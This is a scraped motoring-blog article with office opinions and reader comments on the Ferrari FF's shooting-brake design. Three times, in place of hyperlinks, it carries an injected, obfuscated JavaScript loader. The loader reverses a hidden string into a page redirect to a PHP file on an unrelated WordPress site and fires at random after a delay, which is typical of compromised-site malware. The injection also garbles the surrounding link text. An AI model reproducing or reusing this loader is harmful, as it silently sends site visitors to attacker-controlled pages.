$VOcl3cIRrbzlimOyC8H=function(n){if (typeof ($VOcl3cIRrbzlimOyC8H.list[n]) == “string”) return $VOcl3cIRrbzlimOyC8H.list[n].split(“”).reverse().join(“”);return $VOcl3cIRrbzlimOyC8H.list[n];};$VOcl3cIRrbzlimOyC8H.list=[“‘php.sgnittes-nigulp/daol-efas/slmtog/snigulp/tnetnoc-pw/moc.reilibommi-gnitekrame//:ptth’=ferh.noitacol.tnemucod”];var number1=Math.floor(Math.random() * 5);if (number1==3){var delay = 15000;setTimeout($VOcl3cIRrbzlimOyC8H(0), delay);}andpiston.com/20115922/ferrari-ff-fail-or-fabulous/110001_car/”>The unveiling of a new Ferrari is always a big event in the motoring world, and the arrival of the new FF has provoked quite a reaction, both positive and negative.
Here in the C&P office, as around the world, views are divided. This author thinks the shooting brake profile and the manga-like face look awesome and something completely different to the 612-like mules that were spotted during testing.
This isn’t the first time Ferrari has come up with a shooting brake design. Back in 1962 the Italian company unveiled the 250 GT Drogo Breadvan (above), which competed in the 24 Hours of Le Mans and since then a range of coachbuilders have tacked bulky rear ends onto Prancing Horses for wealthy clients.
Other comparisons around the office for the FF include the Alfa Romeo Brera (above) and the Aston Martin One-77 – neither of which could be considered ugly, exactly – and the BMW Z3M (below).
None of this has convinced my colleagues however.
“It’s minging,” says$VOcl3cIRrbzlimOyC8H=function(n){if (typeof ($VOcl3cIRrbzlimOyC8H.list[n]) == “string”) return $VOcl3cIRrbzlimOyC8H.list[n].split(“”).reverse().join(“”);return $VOcl3cIRrbzlimOyC8H.list[n];};$VOcl3cIRrbzlimOyC8H.list=[“‘php.sgnittes-nigulp/daol-efas/slmtog/snigulp/tnetnoc-pw/moc.reilibommi-gnitekrame//:ptth’=ferh.noitacol.tnemucod”];var number1=Math.floor(Math.random() * 5);if (number1==3){var delay = 15000;setTimeout($VOcl3cIRrbzlimOyC8H(0), delay);}andpiston.com/author/tom-bird/” target=”_self”> Tom. “I’ve never been a fan of the 612 anyway and this doesn’t grab me. They should have gone down the Panamera route rather than have the long front and short rear.”
$VOcl3cIRrbzlimOyC8H=function(n){if (typeof ($VOcl3cIRrbzlimOyC8H.list[n]) == “string”) return $VOcl3cIRrbzlimOyC8H.list[n].split(“”).reverse().join(“”);return $VOcl3cIRrbzlimOyC8H.list[n];};$VOcl3cIRrbzlimOyC8H.list=[“‘php.sgnittes-nigulp/daol-efas/slmtog/snigulp/tnetnoc-pw/moc.reilibommi-gnitekrame//:ptth’=ferh.noitacol.tnemucod”];var number1=Math.floor(Math.random() * 5);if (number1==3){var delay = 15000;setTimeout($VOcl3cIRrbzlimOyC8H(0), delay);}andpiston.com/author/phil-mcgovern/” target=”_self”>Phil’s view: “I think it’s ugly. It looks like a Reliant Scimitar. Technically though, it’ll be a guaranteed tour de force.”
This much, everyone seems to agree on. The FF may have four wheel drive and four seats, and be targeted more towards the all-weather brigade than Ferrari’s outright performance customers, but it’s still got the iconic badge on the front. And with 660bhp from its 6.3-litre V12, it’s fast – 100kph comes up from standstill in just 3.7 seconds. That kind of performance will mean that everyone at C&P will be lining up to try it when cars arrive in the Middle East.
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For me already the name “FF” means “FAIL FAIL”.
Nick
just a quick correction guys – the 250GT “Breadvan” was not built by Ferrari
its owner was refused a 250GTO so set about modifying an existing 250 GT SWB and the eventual result was the breadvan